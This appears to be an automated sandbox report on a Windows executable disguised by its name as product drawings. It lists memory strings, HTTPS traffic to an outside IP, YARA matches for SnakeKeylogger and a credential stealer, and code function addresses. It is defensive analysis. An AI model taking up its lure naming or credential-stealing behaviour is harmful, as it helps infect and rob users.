Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035DB3000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035AC1000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035E04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=backslash&sourceid=chrome&ie=UTF-8https://www.google.com/search?q=ba
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035D94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=tedst&oq=tedst&gs_lcrp=EgZjaHJvbWUyBggAEEUYOdIBBzkwNGowajSoAgCwAgE&s
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035ABE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=tedst&sourceid=chrome&ie=UTF-8tedst
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035DB0000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035DFE000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035ABE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=tedst&sourceid=chrome&ie=UTF-8tedst;
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035D94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3Dtedst%26oq%3Dtedst%2
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.0000000034A8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.0000000034A86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/lB

Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.11.30:49820 version: TLS 1.2

Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe

Code function: 0_2_00404FC7 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,LdrInitializeThunk,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,LdrInitializeThunk,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,LdrInitializeThunk,ShowWindow,LdrInitializeThunk,LdrInitializeThunk,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_00404FC7

System Summary

Malicious sample detected (through community Yara rule)

Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0f20.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0f20.2.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0f20.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344afd6e.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344afd6e.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344b0c8e.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344b0c8e.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344b0c8e.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344afd6e.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344afd6e.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344afd6e.1.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344afd6e.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.36a20000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.36a20000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.36a20000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344b0c8e.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.36a20000.4.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344b0c8e.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344b0c8e.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.36a20000.4.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.36a20000.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0000.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0f20.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0000.3.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0f20.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0000.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0f20.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000002.00000002.22139880474.00000000346F0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000002.00000002.22139880474.00000000346F0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 00000002.00000002.22139880474.00000000346F0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000002.00000003.17878640110.0000000004729000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000002.00000002.22139401502.000000003446F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000002.00000002.22149922122.0000000036A20000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000002.00000002.22149922122.0000000036A20000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 00000002.00000002.22149922122.0000000036A20000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: Drawing_Products_Materials_and_Samples_IMG.exe PID: 3392, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: Drawing_Products_Materials_and_Samples_IMG.exe

Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe

Code function: 0_2_004030EF EntryPoint,#17,SetErrorMode,OleInitialize,LdrInitializeThunk,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcmpiA,CreateDirectoryA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,LdrInitializeThunk,LdrInitializeThunk,GetCurrentProcess,ExitWindowsEx,ExitProcess,

0_2_004030EF

Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe

File created: C:\Windows\resources\0409

Jump to behavior

Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_0011C127	2_2_0011C127
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_0011D23B	2_2_0011D23B
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_00117360	2_2_00117360
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_0011C400	2_2_0011C400
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_0011D513	2_2_0011D513
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_0011C6D1	2_2_0011C6D1
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_001156FA	2_2_001156FA
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_0011C9AB	2_2_0011C9AB
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_0011EBD8	2_2_0011EBD8
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_0011CC88	2_2_0011CC88
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_00112D74	2_2_00112D74
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_00116D68	2_2_00116D68
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_0011CF63	2_2_0011CF63
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_0011EBD3	2_2_0011EBD3
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_36A91E98	2_2_36A91E98
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_36A917B0	2_2_36A917B0
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_36A90B30	2_2_36A90B30
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_36A94C28	2_2_36A94C28
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_36A92580	2_2_36A92580
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_36A99158	2_2_36A99158
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_36A9E2B5	2_2_36A9E2B5
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_36A91E89	2_2_36A91E89
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_36A9E2C0	2_2_36A9E2C0
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_36A9DA01	2_2_36A9DA01
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_36A9DA10	2_2_36A9DA10
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_36A9DE68	2_2_36A9DE68
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_36A9DE58	2_2_36A9DE58
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_36A917AD	2_2_36A917AD
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_36A987A0	2_2_36A987A0
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_36A9EFB9	2_2_36A9EFB9
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_36A98797	2_2_36A98797
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_36A9EFC8	2_2_36A9EFC8
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_36A90B2B	2_2_36A90B2B
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_36A98F38	2_2_36A98F38
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_36A9E709	2_2_36A9E709
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_36A9E718	2_2_36A9E718
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_36A9EB60	2_2_36A9EB60
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_36A9EB70	2_2_36A9EB70
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_36A9C8A1	2_2_36A9C8A1
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_36A9C8B0	2_2_36A9C8B0
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_36A99880	2_2_36A99880
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_36A9CCF7	2_2_36A9CCF7
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_36A9F420	2_2_36A9F420
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_36A94C23	2_2_36A94C23
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_36A9003B	2_2_36A9003B
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_36A9F413	2_2_36A9F413
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_36A9F867	2_2_36A9F867
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_36A9F878	2_2_36A9F878
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_36A99871	2_2_36A99871
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_36A90040	2_2_36A90040
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_36A9D5AB	2_2_36A9D5AB
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_36A9D5B8	2_2_36A9D5B8
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_36A9CD08	2_2_36A9CD08
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_36A9D160	2_2_36A9D160
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_36A92571	2_2_36A92571
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_36A9D153	2_2_36A9D153
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_37362300	2_2_37362300
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_37367B88	2_2_37367B88
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_373693C0	2_2_373693C0
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_373685E8	2_2_373685E8
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_37365330	2_2_37365330
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_37367730	2_2_37367730
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_37365327	2_2_37365327
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_37367720	2_2_37367720
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_37365778	2_2_37365778
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_37367B79	2_2_37367B79
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_37362758	2_2_37362758
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_37362748	2_2_37362748
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_37362BB0	2_2_37362BB0
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_373693B0	2_2_373693B0
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_37362BA7	2_2_37362BA7
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_37365788	2_2_37365788
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_37362FF8	2_2_37362FF8
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_37365BE0	2_2_37365BE0
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_37365BD1	2_2_37365BD1
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_37366A28	2_2_37366A28
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_37364628	2_2_37364628
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_37366A1A	2_2_37366A1A
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_37364618	2_2_37364618
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_37364A71	2_2_37364A71
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_37366E71	2_2_37366E71
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_37361A50	2_2_37361A50
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_37361A40	2_2_37361A40
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_3736B6B0	2_2_3736B6B0
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_3736B6A0	2_2_3736B6A0
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_37361EA8	2_2_37361EA8
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_37361E98	2_2_37361E98
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_37364A80	2_2_37364A80
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_37366E80	2_2_37366E80
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_373622EF	2_2_373622EF
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_373672D8	2_2_373672D8
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_37364ED8	2_2_37364ED8
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_37364EC7	2_2_37364EC7
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_373672C9	2_2_373672C9
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_37360D3F	2_2_37360D3F
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_3736A968	2_2_3736A968
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_3736A959	2_2_3736A959
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_37360D48	2_2_37360D48
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_373611A0	2_2_373611A0
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_37361190	2_2_37361190
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_373615F8	2_2_373615F8
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_373615E8	2_2_373615E8
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_373685DA	2_2_373685DA
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_37360033	2_2_37360033
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_37366038	2_2_37366038
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_37366028	2_2_37366028
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_37363008	2_2_37363008
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_3736647F	2_2_3736647F
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_37363460	2_2_37363460
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_37363457	2_2_37363457
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_37360040	2_2_37360040
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_373638B8	2_2_373638B8
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_373638A8	2_2_373638A8
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_37366490	2_2_37366490
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_37360498	2_2_37360498
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_37360488	2_2_37360488
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_373608F0	2_2_373608F0
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_373698F9	2_2_373698F9
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_373608E0	2_2_373608E0
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_373D5FE0	2_2_373D5FE0
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_373D6688	2_2_373D6688
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_373D36C8	2_2_373D36C8
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_373D6B3F	2_2_373D6B3F
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_373D8338	2_2_373D8338
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_373DD937	2_2_373DD937
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_373DF130	2_2_373DF130
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_373D8328	2_2_373D8328
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_373D9B20	2_2_373D9B20
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_373DF11F	2_2_373DF11F
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_373D9B0F	2_2_373D9B0F
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_373DB308	2_2_373DB308
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_373DA978	2_2_373DA978
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_373D6572	2_2_373D6572
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_373DA968	2_2_373DA968
